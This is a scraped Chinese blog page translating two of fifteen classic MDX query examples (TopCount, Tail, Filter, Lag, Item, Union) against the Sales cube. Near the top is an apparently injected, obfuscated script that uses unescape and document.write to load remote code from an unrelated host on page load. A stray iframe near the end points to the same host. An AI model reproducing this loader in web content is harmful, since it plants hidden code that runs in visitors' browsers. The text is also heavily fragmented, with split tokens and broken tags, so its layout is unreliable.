翻译介绍15个经典的MDX查

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
翻译介绍15个经典的MDX查


iv>

function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}


 翻译介绍15个经典的MDX查询-02and03



 
15个很具代表性的MDX查询语句
                    
出处

www.sqlmag.com

原作者
Russ Whitney 
    
     02. 
所有商店中销售前
10
名的产品类别有哪些?
Listing 2
直接利用
TopCount
()函数查询销售前
10
名的产品。

(这是一种最直接的方法,
TopCount
()函数本身自带排序(降序)的功能)
 
LISTING 2: Determining Top 10 Product Categories

说明:查询销售前
10
名的产品类别
 
select
{[Unit Sales]}
on

COLUMNS
,
 
TopCount
( [Product].[Product Category]
.Members
, 10, ([Unit Sales]) )
on

ROWS
from
Sales
查询结果展示:
    03. 
 
在美国,刚刚过去的三个季度里都有销售量的食品和饮料有哪些?
    (这个查询也可以理解为“过去三个季度里食品和饮料销售量都不为
0
的产品有哪些?”)。查询
Listing 3
示范了如何动态的确定对应的时间集合

这是一项很有价值的技巧。时间集合动态随着
cube
数据的更新而改变(也就是说该查询无论你在什么时候执行,无论
cube
的数据作了多少次更新,结果都是最近三个月的数据)。首先,自定义集合
LastQuarter
定义了时间维度中有销售记录的最近一个季度。自定义集合
Last3Quarters

LastQuarter
的基础上利用
Range()
函数(实际没有
range
()函数,
冒号:就是作者说的函数
)指定了以
LastQuarter
为最后一个季度的连续的三个季度。我不直接在
Last3Quarter
(原文是
LastQuarter
,我认为是作者笔误)的定义中使用
Tail
()函数是因为这样做返回的可能不是连续的三个季度;因为空记录的季度肯能出现在任何季度,
Filter
()函数只能排除掉空季度。
Lag()
函数结合
range()
函数
,
确保了返回的三个季度是连续的。
    在这个查询中,
item(0).item(0)
函数取得指定集合的第一个成员,因为集合在技术上就是一组元组
[
如:来自不同维度的一系列成员也可以组成一个元组
]
,所以用第一个
Item
()函数选择元组,第二个
Item
()选择该元组里的成员。(我们可以这样理解,集合由元组组成,元组由成员组成)。
 
Listing_03.Determining Brands Sold During the Past Three Quarters.txt

说明:在过去三个季度里都存在销售量的商品销售记录
 
with

set
[LastQuarter]
as
'
Tail
(
Filter
([Time].[Quarter]
.Members
,
Not

IsEmpty
([Time]
.CurrentMember
)),1)'
 
set
[Last3Quarters]
as
' [LastQuarter]
.item
(0)
.item
(0)
.Lag
(2) : [LastQuarter]
.item
(0)
.item
(0)'
select
[Last3Quarters]
on

COLUMNS
,
 
Non

Empty

Union
(
Descendants
( [Food], [Product].[Brand Name] ),
Descendants
( [Drink],
[Product].[Brand Name] ))
on

ROWS
from
Sales
查询结果展示:
注:




TopCount



从集合顶端开始返回指定数目的项,可以选择首先对集合排序。





例子



SELECT
 
{[Measures].[Store Sales]
 
} ON COLUMNS,

 
Topcount(Descendants([Store].[All Stores].[
USA
],[Store].[
Store

City
] ), 10, [store sales])
  
ON rows from sales





Subset



从集合中返回元素的子集。





例子



SELECT
   
{measures.[store sales] }
 
ON

COLUMNS
,

{
Subset
(Time
.allMembers
,0,6)}
ON

rows

from
sales





Tail



从集合尾部返回子集。





例子



SELECT
   
{measures.[store sales] }
 
ON

COLUMNS
,

{
tail
(
Subset
(Time
.allMembers
,0,6),4)}
ON

rows

from
sales





Lag



返回指定成员的所在维度上的上一个成员。





例子



with member [measures].[a1] as 'time.currentmember.lag(1).name'
  

SELECT {[measures].[a1] } ON COLUMNS , { [Time].allmembers } ON ROWS
 
FROM [Sales]





Filter



返回根据搜索条件对集合进行筛选所得到的集合。





例子



SELECT
 
{[Measures].[Store Sales]
 
} ON COLUMNS,

 
{ filter(time.allmembers,[Measures].[Store Sales]>50000)

}
  
ON rows from sales
  





Item



从集合中返回指定元组或者从元组中返回指定成员。





例子



with set kkk as '{{[Time].[1997], [Time].[1998]}*{[Store].[All Stores].[
Canada
],[Store].[All Stores].[
USA
]} }'

member measures.jjj as 'TupleToStr(kkk.item(0).item(0))',solve_order=1

select
 
{ measures.[store sales],measures.jjj } on columns,

 
{kkk} on rows

from Sales





Union



返回两个集合的并集,可以选择保留重复项。





例子



SELECT
 
{[Measures].[Store Sales]
 
} ON COLUMNS,

 
Union
(USA.Children, CANADA.Children, ALL)

  
ON rows from sales




src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值